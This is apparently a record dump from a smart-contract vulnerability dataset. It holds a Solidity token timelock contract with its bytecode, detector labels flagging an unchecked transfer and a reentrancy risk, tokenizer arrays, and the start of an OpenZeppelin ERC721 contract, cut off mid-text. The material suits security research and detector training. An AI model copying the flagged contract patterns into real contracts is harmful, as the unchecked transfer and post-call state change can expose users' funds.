false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29980800; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0xf8369Ff0cBfF3dc952A7128B03805b91848C14B7; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100b95763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631624335681146100be57806338af3eed146100e55780636e15266a14610116578063834ee4171461012b57806386d1a69f146101405780638da5cb5b146101575780639b7faaf01461016c5780639e1a4d1914610195578063a4e2d634146101aa578063f2fde38b146101bf578063f83d08ba146101e0578063fa2a8997146101f5575b600080fd5b3480156100ca57600080fd5b506100d361020a565b60408051918252519081900360200190f35b3480156100f157600080fd5b506100fa610210565b60408051600160a060020a039092168252519081900360200190f35b34801561012257600080fd5b506100d361021f565b34801561013757600080fd5b506100d3610225565b34801561014c57600080fd5b5061015561022b565b005b34801561016357600080fd5b506100fa6103d1565b34801561017857600080fd5b506101816103e0565b604080519115158252519081900360200190f35b3480156101a157600080fd5b506100d36103e8565b3480156101b657600080fd5b5061018161047e565b3480156101cb57600080fd5b50610155600160a060020a036004351661049f565b3480156101ec57600080fd5b50610181610533565b34801561020157600080fd5b506101816105db565b60045481565b600254600160a060020a031681565b60055481565b60035481565b60008054600160a060020a0316331461024357600080fd5b60025474010000000000000000000000000000000000000000900460ff16151561026c57600080fd5b6002547501000000000000000000000000000000000000000000900460ff161561029557600080fd5b61029d6103e0565b15156102a857600080fd5b6102b06103e8565b600154600254604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a03928316600482015260248101859052905193945091169163a9059cbb916044808201926020929091908290030181600087803b15801561032457600080fd5b505af1158015610338573d6000803e3d6000fd5b505050506040513d602081101561034e57600080fd5b505060025460408051600160a060020a0390921682526020820183905280517f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a919281900390910190a1506002805475ff00000000000000000000000000000000000000000019167501000000000000000000000000000000000000000000179055565b600054600160a060020a031681565b600454421190565b600154604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600092600160a060020a0316916370a0823191602480830192602092919082900301818787803b15801561044d57600080fd5b505af1158015610461573d6000803e3d6000fd5b505050506040513d602081101561047757600080fd5b5051905090565b60025474010000000000000000000000000000000000000000900460ff1681565b600054600160a060020a031633146104b657600080fd5b600160a060020a03811615156104cb57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008054600160a060020a0316331461054b57600080fd5b60025474010000000000000000000000000000000000000000900460ff161561057357600080fd5b600061057d6103e8565b1161058757600080fd5b4260038190556005546105a0919063ffffffff6105fd16565b6004556002805474ff000000000000000000000000000000000000000019167401000000000000000000000000000000000000000017905590565b6002547501000000000000000000000000000000000000000000900460ff1681565b60008282018381101561060c57fe5b93925050505600a165627a7a72305820ddf218ba68858c4e4e2007a7795e0ad78a6264463b7018ddba1a9c7b558552030029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 2278, 2575, 2497, 2487, 3540, 2475, 2063, 2475, 2546, 2620, 2094, 2683, 2546, 2620, 3540, 2063, 2581, 2509, 7959, 25746, 2475, 2063, 18827, 2581, 4246, 3401, 2683, 2063, 2629, 7011, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,831
0x95c78edf9e8e4091a4d87ec2e4de3b816c3fdfba
/** *Submitted for verification at Etherscan.io on 2021-09-02 */ /** *Submitted for verification at Etherscan.io on 2021-08-27 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See 